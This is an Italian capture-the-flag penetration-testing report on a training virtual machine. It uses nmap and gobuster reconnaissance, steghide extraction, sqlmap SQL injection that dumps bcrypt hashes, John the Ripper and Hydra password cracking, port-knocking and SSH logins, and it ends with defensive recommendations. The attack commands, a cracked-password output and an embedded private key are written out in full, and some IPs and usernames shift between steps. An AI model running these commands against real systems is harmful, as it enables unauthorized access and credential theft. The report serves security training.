



Report Dettagliato di Penetration Testing BlackBox - Epicode

Autore: Harry P **Scenario:** Capture The Flag (CTF) – Livello: Difficile

Introduzione Contestuale

Il presente report costituisce una documentazione approfondita delle attività di penetration testing condotte su un'immagine OVA (Open Virtual Appliance) di una macchina virtuale, replicando uno scenario di compromissione aziendale in modalità "BlackBox". Questo approccio, che simula una condizione in cui il team di sicurezza non dispone di alcuna informazione preliminare sull'architettura interna del sistema, ha permesso di valutare l'efficacia delle difese da una prospettiva esterna, simile a quella di un attaccante reale.

Le indagini OSINT (Open Source Intelligence) preliminari hanno delineato un quadro preoccupante: un dipendente, identificato come Luca, è sospettato di aver intenzionalmente sabotato l'infrastruttura IT aziendale, alterando servizi essenziali e modificando le credenziali di accesso. Ulteriori ricerche hanno rivelato una possibile collusione con un'altra dipendente, Milena, suggerendo una cospirazione. L'obiettivo principale di questa simulazione era la riconquista del controllo del server compromesso e il ripristino della sicurezza dell'intera infrastruttura aziendale, identificando e sanando le vulnerabilità che hanno permesso tale violazione.

Procedura Operativa Dettagliata

1. Ricognizione Iniziale e Scansione di Rete

La fase iniziale del penetration testing ha avuto come obiettivo la scoperta delle risorse attive e dei punti di accesso potenziali. Si è proceduto con una **scansione di rete approfondita** utilizzando lo strumento **Nmap**, rinomato per la sua versatilità e potenza nella mappatura delle reti e nell'identificazione dei servizi in esecuzione.

È stata eseguita una scansione

completa di tutte le porte TCP (-p-),

affiancata dalla rilevazione dei servizi e delle loro versioni (-sV) e dalla scansione del sistema operativo (-O). L'analisi ha rivelato diverse porte aperte, ma una in particolare ha destato immediato interesse: la **porta SSH 2222**. La scelta di una porta non standard per il servizio SSH (22 è la porta predefinita) suggeriva una misura di "security by obscurity" o una configurazione personalizzata, rendendola un bersaglio prioritario per ulteriori indagini. La

```
[kali@kali]~$ nmap -sC -sV 192.168.1.124
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 03:24 EDT
Nmap scan report for 192.168.1.124
Host is up (0.000305 latency).
Not shown: 989 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ Can't get directory listing: PASV IP 172.17.0.2 is not the same as 192.168.1.124
42/tcp    open  tcpwrapped
80/tcp    open  http
|_ http-title: Login
|_ Requested resource was login.php
|_ http-server-header: Apache/2.4.52 (Ubuntu)
|_ http-cookie-flags:
|_ /;
|_ PHPSESSID:
|_ httponly flag not set
135/tcp    open  tcpwrapped
1433/tcp   open  tcpwrapped
1722/tcp   open  pptp
|_ (Firmware: 1)
2222/tcp   open  ssh
|_ OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 2048 5a:94:da:11:0e:bb:07:a3:f6:36:bf:3e:86:14:e7:b3 (RSA)
|_ 256 2a:87:ec:bf:7e:df:01:cd:72:26:9f:f9:f2:3d:a1:77 (ECDSA)
|_ 256 80:38:ad:fc:07:09:3a:16:29:eb:92:5a:5b:a6:1e:3b (ED25519)
5060/tcp   open  tcpwrapped
|_ _sip-methods: REGISTER, OPTIONS, INVITE, CANCEL, BYE, ACK
5061/tcp   open  tcpwrapped
8080/tcp   open  tcpwrapped
|_ http-open-proxy: Proxy might be redirecting requests
|_ http-title: Directory listing for /
8443/tcp   open  ssl/tcpwrapped
|_ http-title: Directory listing for /
|_ ssl-cert: Subject: commonName=Nepenthes Development Team/organizationName=dionaea.carnivore.it/countryName=DE
|_ Not valid before: 2025-05-21T07:25:07
|_ Not valid after: 2026-05-21T07:25:07
MAC Address: 08:00:27:0F:E4:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; Device: storage-misc; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.71 seconds
```



presenza di un servizio SSH, seppur su una porta insolita, indicava una potenziale via d'accesso remota alla macchina.

2. Enumerazione delle Risorse Web e Punti di Ingresso

Confermato l'accesso di rete, l'attenzione si è spostata verso l'identificazione di risorse web nascoste o non esposte direttamente. A tal fine, è stato impiegato **Gobuster**, uno strumento efficace per il *directory brute-forcing* e la scoperta di file e directory accessibili su server web.

L'esecuzione di Gobuster su un elenco di wordlist comuni ha permesso di scoprire diversi endpoint interessanti e potenzialmente vulnerabili. Tra questi, sono stati identificati:

- `http://<IP-Macchina>/login.php`: Questo percorso indicava la presenza di un'interfaccia di login principale, tipica per l'accesso a pannelli di controllo o applicazioni web.
- `http://<IP-Macchina>/oldsite/login.php`: La presenza di una seconda pagina di login all'interno di una directory denominata "oldsite" suggeriva una possibile migrazione non completa o la presenza di versioni obsolete e potenzialmente meno sicure dell'applicazione. Spesso, queste vecchie versioni contengono vulnerabilità già patchate nelle versioni più recenti.
- `http://<IP-Macchina>/tmp`: La directory "tmp" è generalmente utilizzata per l'archiviazione temporanea di file. La sua accessibilità pubblica rappresenta un rischio significativo, poiché potrebbe contenere file sensibili lasciati dagli utenti o dal sistema, o essere utilizzata come punto di upload per file malevoli.
- `http://<IP-Macchina>/oldsite/tmp`: Analogamente, la directory temporanea all'interno della "oldsite" presentava gli stessi rischi di esposizione di dati o di caricamento di file.

```
(francesco@kali) ~$ gobuster dir -u http://192.168.64.11/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.64.11/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

./htpasswd.txt (Status: 403) [Size: 278]
./htpasswd.php (Status: 403) [Size: 278]
./htpasswd.html (Status: 403) [Size: 278]
./html (Status: 403) [Size: 278]
./php (Status: 403) [Size: 278]
./hta (Status: 403) [Size: 278]
./hta.txt (Status: 403) [Size: 278]
./htaccess.php (Status: 403) [Size: 278]
./htaccess.txt (Status: 403) [Size: 278]
./htaccess (Status: 403) [Size: 278]
./hta.html (Status: 403) [Size: 278]
./htpasswd (Status: 403) [Size: 278]
./htaccess.html (Status: 403) [Size: 278]
./hta.php (Status: 403) [Size: 278]
./css (Status: 301) [Size: 312] [→ http://192.168.64.11/css/]
./images (Status: 301) [Size: 315] [→ http://192.168.64.11/images/]
./index.php (Status: 302) [Size: 0] [→ login.php]
./index (Status: 302) [Size: 0] [→ login.php]
./javascript (Status: 301) [Size: 319] [→ http://192.168.64.11/javascript/]
./oldsite (Status: 301) [Size: 316] [→ http://192.168.64.11/oldsite/]
./login.php (Status: 200) [Size: 773]
./server-status (Status: 403) [Size: 278]
./tmp (Status: 200) [Size: 18]
./welcome.php (Status: 200) [Size: 29]
Progress: 18456 / 18460 (99.98%)

Finished
```

Questi reperti hanno fornito una mappa iniziale delle aree da esplorare in dettaglio, concentrandosi in particolare sulle pagine di login per tentare attacchi di autenticazione e sulle directory "tmp" per la ricerca di dati esposti o vulnerabilità di upload.



3. Analisi dei Contenuti Web, Steganografia e Cripto-Puzzle

L'analisi approfondita dei contenuti web si è rivelata cruciale per il proseguimento dell'attacco. Navigando la pagina `http://<IP>/login.php`, è stata individuata un'immagine dal nome e dalle caratteristiche insolite. Questa immagine è stata immediatamente scaricata sul sistema dell'attaccante tramite il comando `wget` per un'ispezione più dettagliata.

```
(kali㉿kali)-[~]
$ wget http://192.168.1.17/images/theta-logo.jpg
--2025-05-21 05:44:12-- http://192.168.1.17/images/theta-logo.jpg
Connecting to 192.168.1.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 141560 (138K) [image/jpeg]
Saving to: 'theta-logo.jpg'

theta-logo.jpg      100%[=====] 138.24K  --.-KB/s   in 0.001s
2025-05-21 05:44:12 (259 MB/s) - 'theta-logo.jpg' saved [141560/141560]
```

Sospettando la presenza di informazioni nascoste, si è ricorsi a **steghide**, uno strumento specializzato in steganografia. L'analisi ha richiesto una password per l'estrazione. Fortunatamente, esplorando

```
(kali㉿kali)-[~]
$ steghide extract -sf theta-logo.jpg
Enter passphrase:
wrote extracted data to "poesia.txt".
```

ulteriormente il sito web, è stata scoperta la parola "accio", che si è rivelata essere la chiave per decrittografare l'immagine. L'estrazione ha rivelato un file di testo denominato `poesia.txt`, il cui contenuto è stato meticolosamente analizzato alla ricerca di indizi.

Di seguito il contenuto del file "poesia.txt":

```
1 Nel bosco incantato, sotto il cielo stellato,
2 Luca e Milena, maghi innamorati, si diedero appuntamento,
3 Era il 22 o il 2222? Un sussurro appena accennato,
4 Un luogo tra verità e illusioni, dove il mondo era diverso.
5
6 Danzarono sotto la luna, nel punto stabilito,
7 Un sentiero nascosto, di magia e mistero avvolto,
8 E se mai vedrai quel luogo, dove il tempo è sospeso,
9 Saprai che lì, tra illusioni e amore, il loro sogno è acceso.
10
```

In parallelo a questa attività, durante l'esplorazione dei vari file e codice sorgente disponibili sul server, sono stati individuati dei **codici Brainfuck** disseminati in punti apparentemente casuali. Il Brainfuck è un linguaggio di programmazione esoterico, noto per la sua sintassi minimale e per la sua capacità di nascondere informazioni in modo non convenzionale. Questi codici, una volta decifrati attraverso un interprete Brainfuck, hanno fornito una



sequenza di numeri che, con ulteriori analisi, sono stati associati a porte di rete specifiche e parole chiave. Questa scoperta ha suggerito l'esistenza di un meccanismo di *port-knocking* o di un sistema di comunicazione nascosto, fornendo un indizio vitale per la fase successiva.

Accanto abbiamo i risultati dei vari codici brainfuck che verranno in seguito eseguiti.

```
65511 => fatto (welcome.php)
12000 => il (oldsite/style.css)
41002 => misfatto (tmp)

9220 => giuro (index.php)
1700 => solennemente (df ssh)
9991 => di (login.php)
55677 => non avere (login.php/style.css)
37789 => buone (oldsite/login.php)
7282 => intenzioni (oldsite/tmp)
```

4. Sfruttamento tramite SQL Injection

Identificata la pagina di login, si è proceduto a testare la sua robustezza contro attacchi di **SQL Injection**. Lo strumento **sqlmap**, un *tool* automatico per il rilevamento e lo sfruttamento delle vulnerabilità SQL Injection, è stato utilizzato per interrogare il database sottostante.

```
(kali@kali)-[~]
$ sqlmap -u "http://192.168.1.17/oldsite/login.php" --data="username=admin&password=admin" --dump
```

L'attacco ha dimostrato la vulnerabilità dell'applicazione web, consentendo a sqlmap di manipolare le query al database e bypassare le normali restrizioni. Questa operazione ha permesso l'accesso non autorizzato ai dati interni del database, culminando nell'estrazione dell'elenco completo degli utenti registrati e delle loro password, sebbene queste ultime fossero in formato hashato. L'ottenimento di queste credenziali hashate ha rappresentato un passo critico, fornendo il materiale grezzo necessario per tentare di decifrarle e accedere ai vari account.

```
[08:42:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: PHP, Apache 2.4.52
back-end DBMS: MySQL ≥ 5.0 (MariaDB fork)
[08:42:51] [WARNING] missing database parameter. sqlmap is going to use the current
[08:42:51] [INFO] fetching current database
[08:42:51] [INFO] fetching tables for database: 'oldsite'
[08:42:51] [INFO] fetching columns for table 'users' in database 'oldsite'
[08:42:51] [INFO] fetching entries for table 'users' in database 'oldsite'
Database: oldsite
Table: users
[4 entries]
+-----+-----+-----+
| id | password | username |
+-----+-----+-----+
| 1 | $2y$10$Dy2MtFKLFvH78.bLGp6a7uBdSE1WNCSbnT0HvAQLyT2iGZWG07TMK | anna |
| 2 | $2y$10$lNS1EUevEtLqsp.OEq4UkuGREzvkuohZCdpT9h5t.Fw6oBZsai.Ei | luca |
| 3 | $2y$10$gdY5a.GIC6ulg7ybIBMh00U7Cdo.pEebWsL7E/CLGFHoTG39LePAK | marco |
| 4 | $2y$10$3ESgP8ETH4VPpbsw4C5hze6bP6QEDMByxelQEPUDh7Uh6Q6aHRZDy | milena |
+-----+-----+-----+
```




5. Cracking delle Credenziali e Accesso ai Servizi

Con gli hash delle password in mano, la fase successiva è stata dedicata al *cracking* per ottenere le password in chiaro. È stato utilizzato **John the Ripper**, un potente *password cracker*, configurato per testare diverse tipologie di hash e wordlist.

Grazie a John the Ripper, è stato possibile forzare con successo la password associata all'utente "Milena", la cui stringa in chiaro è stata rivelata essere "darkprincess". Questo successo ha fornito la prima credenziale valida per un account utente significativo.

```
(kali@kali)-[~]
$ john --wordlist=/home/kali/Desktop/rockyou100.txt --format=bcrypt /home/kali/Desktop/hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.13% (ETA: 10:42:44) 0g/s 33.96p/s 186.7c/s 186.7C/s shadow..beautiful
0g 0:00:02:47 9.72% (ETA: 10:45:50) 0g/s 46.95p/s 188.4c/s 188.4C/s toilet..subzero
0g 0:00:04:11 14.66% (ETA: 10:45:43) 0g/s 46.86p/s 187.7c/s 187.7C/s yinyang..justin21
0g 0:00:04:30 15.75% (ETA: 10:45:46) 0g/s 46.79p/s 187.5c/s 187.5C/s zxcvbnm123..laloteamo
0g 0:00:13:54 48.60% (ETA: 10:45:47) 0g/s 46.91p/s 187.6c/s 187.6C/s maylee..lynnlynn
0g 0:00:14:45 51.55% (ETA: 10:45:48) 0g/s 46.89p/s 187.5c/s 187.5C/s 121802..092191
0g 0:00:15:28 54.00% (ETA: 10:45:50) 0g/s 46.85p/s 187.4c/s 187.4C/s 051791..020193
darkprincess (?)
1g 0:00:28:45 DONE (2025-05-21 10:45) 0.000579g/s 46.37p/s 181.8c/s 181.8C/s 28051991..27111988
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Successivamente, per testare la validità di altre credenziali e scoprire ulteriori accessi, si è impiegato **Hydra**. Hydra è uno strumento di *brute-forcing* per protocolli di rete, ideale per tentare di autenticarsi su servizi come SSH. Utilizzando una wordlist mirata e le informazioni raccolte, Hydra è stato configurato per tentare l'accesso ai servizi esposti. Questa operazione ha portato all'identificazione delle credenziali "admin:admin123", un accoppiamento utente/password estremamente debole ma purtroppo comune, confermando la mancanza di una robusta politica di gestione delle password.

```
[ATTEMPT] target 192.168.1.17 - login "admin" - pass "claudia" - 12459 of 665300 [child 1] (0/0)
[ATTEMPT] target 192.168.1.17 - login "admin" - pass "sk84life" - 12460 of 665300 [child 3] (0/0)
[ATTEMPT] target 192.168.1.17 - login "admin" - pass "saskia" - 12461 of 665300 [child 0] (0/0)
[ATTEMPT] target 192.168.1.17 - login "admin" - pass "power1" - 12462 of 665300 [child 2] (0/0)
[ATTEMPT] target 192.168.1.17 - login "admin" - pass "nicegirl" - 12463 of 665300 [child 1] (0/0)
[ATTEMPT] target 192.168.1.17 - login "admin" - pass "admin123" - 12464 of 665300 [child 3] (0/0)
[2222][ssh] host: 192.168.1.17 login: admin password: admin123
[STATUS] attack finished for 192.168.1.17 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-21 09:29:20
```

Una volta trovate le credenziali abbiamo ottenuto accesso alla porta ssh 2222 dove cercando tra le varie cartelle disponibili abbiamo trovato la parola "solennemente" grazie al comando `df` come mostrato in figura.

```
admin@hogtheta:/$ df
Filesystem      Size  Used Avail Use% Mounted on
rootfs          4.7G  731M  3.8G  17% /
udev            10M    0   10M   0% /dev
tmpfs           25M  192K   25M   1% /run
/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af 4.7G  731M  3.8G  17% /
tmpfs            5.0M    0   5.0M   0% /run/lock
tmpfs           101M    0  101M   0% /run/rlm
lunos           1700    0   1700   0% La luce illumina la stanza, rivelando che il numero magico per 'solennemente' è 1700.
admin@hogtheta:/$
```



6. Port-Knocking Dinamico e Accesso SSH Iniziale

A questo punto, avendo le credenziali ma non una porta SSH standard aperta (solo la 2222 era stata rilevata inizialmente, e le informazioni sui **codici Brainfuck** suggerivano un meccanismo diverso), si è ricorsi alla tecnica del **port-knocking**. Questa è una tecnica stealth che permette di aprire una porta specifica (in questo caso la porta SSH 22, solitamente chiusa per impostazione predefinita) inviando una sequenza predefinita di tentativi di connessione a porte specifiche e non necessariamente aperte.

La sequenza di *knocking* è stata derivata dalla frase "Giuro solennemente di non avere buone intenzioni" (indizio fornito sia dal tema della blackbox sia dall'inserimento della frase all'interno dell'index.html entrando con l'account milena), tradotta nelle porte: 9220, 1700, 9991, 55677, 37789, 7282. L'invio di pacchetti SYN in questa precisa sequenza ha attivato una regola sul firewall della macchina target, aprendo temporaneamente la porta SSH 22.

Utilizzando il comando:

```
knock <IP-Macchina> 9220 1700 9991 55677 37789 7282
```

Una volta eseguito il comando, è stato eseguito il comando Nmap per vedere quale porta è stata aperta.

```
francesco@kali: ~  
File Actions Edit View Help  
Nmap scan report for 192.168.64.11  
Host is up (0.00100s latency).  
Not shown: 988 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          Synology DiskStation NAS ftpd  
22/tcp    open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)  
42/tcp    open  tcpwrapped  
80/tcp    open  http         Apache httpd 2.4.52 ((Ubuntu))  
135/tcp   open  tcpwrapped  
1433/tcp  open  tcpwrapped  
1723/tcp  open  tcpwrapped  
2222/tcp  open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)  
5060/tcp  open  tcpwrapped  
5061/tcp  open  tcpwrapped  
8080/tcp  open  tcpwrapped  
8443/tcp  open  tcpwrapped  
MAC Address: DA:91:C3:70:2C:AC (Unknown)  
Service Info: OS: Linux; Device: storage-misc; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit  
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds  
  
(francesco@kali)-[~]  
$
```

Con la porta 22 ora accessibile e le credenziali "Milena:darkprincess", è stato possibile stabilire una connessione SSH alla macchina compromessa.

Una volta all'interno, una prima ricognizione ha rivelato una directory

/home/milena/shared.

Esplorando questa directory, è stato scoperto un file nascosto significativo: .myLovePotion.

```
milena@blackbox:/home$ cd shared  
milena@blackbox:/home/shared$ ls -la  
total 12  
drwxrwx--- 2 anna  shared 4096 Oct  2  2024 .  
drwxr-xr-x 7 root  root   4096 Sep 30  2024 ..  
-rw-rw-r-- 1 milena shared  45 Oct  2  2024 .myLovePotion.swp  
milena@blackbox:/home/shared$ cat .myLovePotion.swp  
ai(q4P7>(Fw9S3P  
9iT(0F98!7^-I6h  
darkprincess  
milena@blackbox:/home/shared$
```

```
File Actions Edit View Help

$ (francesco@kali) ~$
$ steghide extract -sf theta-key.jpg.bk -p 'c2mqVdF50V5nZ5v1'
wrote extracted data to "id_rsa".

$ (francesco@kali) ~$
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
```



Una volta garantito l'accesso come root sono stati catturate tutte e tre le flag (2 testuali e una come file .txt) di seguito riportate:

-Flag Milena

```
(francesco@kali)-[~]
$ ssh -p 22 milena@192.168.64.11
The authenticity of host '192.168.64.11 (192.168.64.11)' can't be established.
ED25519 key fingerprint is SHA256:04h4*4V2v+1Inrs7xwxizWeljAWid14utj/nHArtrKI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.64.11' (ED25519) to the list of known hosts.
milena@192.168.64.11's password:
Theta fa schifo

Last login: Wed Oct  2 13:44:29 2024
milena@blackbox:~$ ls
flag.txt
milena@blackbox:~$ cat flag.txt
FLAG{incanto_della_sapienza_123}
milena@blackbox:~$
```

-Flag Luca

```
(francesco@kali)-[~]
$ ssh -p 22 luca@192.168.64.11
luca@192.168.64.11's password:
Theta fa schifo

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

luca@blackbox:~$ ls
flag.txt
luca@blackbox:~$ cat flag.txt+
cat: flag.txt+: No such file or directory
luca@blackbox:~$ cat flag.txt
FLAG{cuore_di_leone_456}
luca@blackbox:~$
```

-Flag Finale (girato per motivi di spazio)

```
FLAG{la_magia_non_ha_confini}
root@blackbox:~# cat flag.txt
root@blackbox:~#
```




Conclusioni e Raccomandazioni per il Miglioramento della Sicurezza

L'esercitazione di penetration testing ha rivelato una serie di vulnerabilità significative e una gestione della sicurezza subottimale, che hanno collettivamente permesso la compromissione totale del sistema. Le principali debolezze riscontrate possono essere categorizzate come segue:

1. Gestione Debole delle Credenziali:

- **Implicazione:** L'utilizzo di password deboli e prevedibili (es. "admin123") e la presenza di credenziali in chiaro in file non protetti hanno rappresentato un rischio immediato per l'integrità del sistema. La facilità con cui le password sono state craccate o scoperte indica una mancanza critica di politiche di complessità, lunghezza e rotazione.
- **Suggerimenti di Miglioramento:**
 - **Implementare Policy di Complessità e Rotazione:** Richiedere password con una lunghezza minima (es. 12-16 caratteri), che includano una combinazione di lettere maiuscole e minuscole, numeri e simboli. Impostare una rotazione periodica delle password per tutti gli account, in particolare quelli privilegiati.
 - **Utilizzare un Password Manager Aziendale:** Incoraggiare e fornire strumenti per la gestione sicura delle password, eliminando la necessità di archivarle in chiaro o di riutilizzare credenziali.
 - **Eliminare Credenziali Hardcoded:** Rivedere il codice e la configurazione per eliminare credenziali hardcoded o archiviate in chiaro in file accessibili. Utilizzare sistemi di gestione dei segreti (Secret Management Systems) per le credenziali di applicazione.

2. Scarsa Segmentazione e Controllo dei Servizi:

- **Implicazione:** La presenza di servizi critici (come SSH) esposti su porte non standard, senza ulteriori controlli di accesso granulari, e l'affidamento a tecniche di "security by obscurity" (come il port-knocking non rinforzato) dimostrano una insufficiente segmentazione della rete e un controllo degli accessi debole. Una volta decifrato il meccanismo, il servizio è diventato facilmente accessibile.
- **Suggerimenti di Miglioramento:**
 - **Principio del Minimo Privilegio (Servizi):** Esporre su internet solo i servizi strettamente necessari e limitare l'accesso a indirizzi IP specifici o VPN quando possibile.



- **Configurazione del Firewall Basata su Regole Precise:** Implementare regole firewall robuste che permettano solo il traffico autorizzato e limitino l'accesso ai servizi critici. Considerare l'uso di firewall di nuova generazione che offrono ispezione a livello applicativo.
- **Rivedere l'Implementazione del Port-Knocking:** Se il port-knocking è necessario, assicurarsi che sia parte di una strategia di difesa a più livelli e non l'unica barriera. Combinarlo con autenticazione forte e monitoraggio.

3. Assenza di Monitoraggio e Logging Adeguato:

- **Implicazione:** L'assenza di meccanismi di allarme o di sistemi di monitoraggio per rilevare comportamenti sospetti (come scansioni di porte anomale, tentativi di port-knocking ripetuti o accessi da IP insoliti) ha permesso all'attaccante di operare indisturbato per lunghe fasi. La mancanza di log dettagliati rende estremamente difficile l'analisi post-incidente e la forensica.
- **Suggerimenti di Miglioramento:**
 - **Implementare un Sistema di Intrusion Detection/Prevention (IDS/IPS):** Distribuire soluzioni IDS/IPS per monitorare il traffico di rete e le attività di sistema, rilevando e bloccando proattivamente tentativi di intrusione.
 - **Centralizzazione e Analisi dei Log:** Implementare un sistema di gestione degli eventi e delle informazioni di sicurezza (SIEM - Security Information and Event Management) per centralizzare, analizzare e correlare i log di tutti i sistemi, facilitando il rilevamento di anomalie e la risposta agli incidenti.
 - **Alerting Automatico:** Configurare avvisi automatici per eventi di sicurezza critici, come tentativi di accesso falliti ripetuti, scansioni di porte insolite o modifiche ai file di sistema.

4. Cattiva Gestione dei Backup e dei File Temporanei:

- **Implicazione:** La scoperta di file contenenti informazioni sensibili (come chiavi crittografiche o credenziali) lasciati in directory non protette o come file di backup non correttamente gestiti, dimostra una scarsa igiene informatica e procedure di data handling insufficienti.
- **Suggerimenti di Miglioramento:**
 - **Politiche di Conservazione dei Dati:** Definire e applicare politiche rigorose per la conservazione, l'eliminazione sicura e la protezione dei dati sensibili, inclusi i file di backup e temporanei.



- **Crittografia dei Dati Sensibili:** Crittografare sempre i dati sensibili, sia in transito che a riposo, specialmente quelli contenuti in backup o file temporanei.
- **Controllo degli Accessi alle Directory:** Implementare permessi di file e directory rigorosi per limitare l'accesso ai soli utenti e processi autorizzati.

5. Esposizione a Vulnerabilità Web (es. SQL Injection):

- **Implicazione:** La vulnerabilità a comuni attacchi lato applicazione come SQL Injection indica una mancanza di validazione degli input robusta e di protezione a livello del codice dell'applicazione web. Questo rappresenta un rischio significativo per l'integrità del database e la riservatezza dei dati degli utenti.
- **Suggerimenti di Miglioramento:**
 - **Validazione degli Input:** Implementare una rigorosa validazione di tutti gli input utente, sia lato client che, in modo più critico, lato server, per prevenire attacchi di iniezione.
 - **Utilizzo di Query Parametrizzate/Prepared Statements:** Utilizzare sempre query parametrizzate o prepared statements per le interazioni con il database, eliminando la possibilità di SQL Injection.
 - **Web Application Firewall (WAF):** Distribuire un WAF per proteggere le applicazioni web da una vasta gamma di attacchi, inclusi SQL Injection, Cross-Site Scripting (XSS) e altri.
 - **Security by Design:** Integrare la sicurezza nel ciclo di vita dello sviluppo del software (SDLC), adottando pratiche di "Security by Design" e conducendo regolari *security code review*.

Raccomandazioni Finali

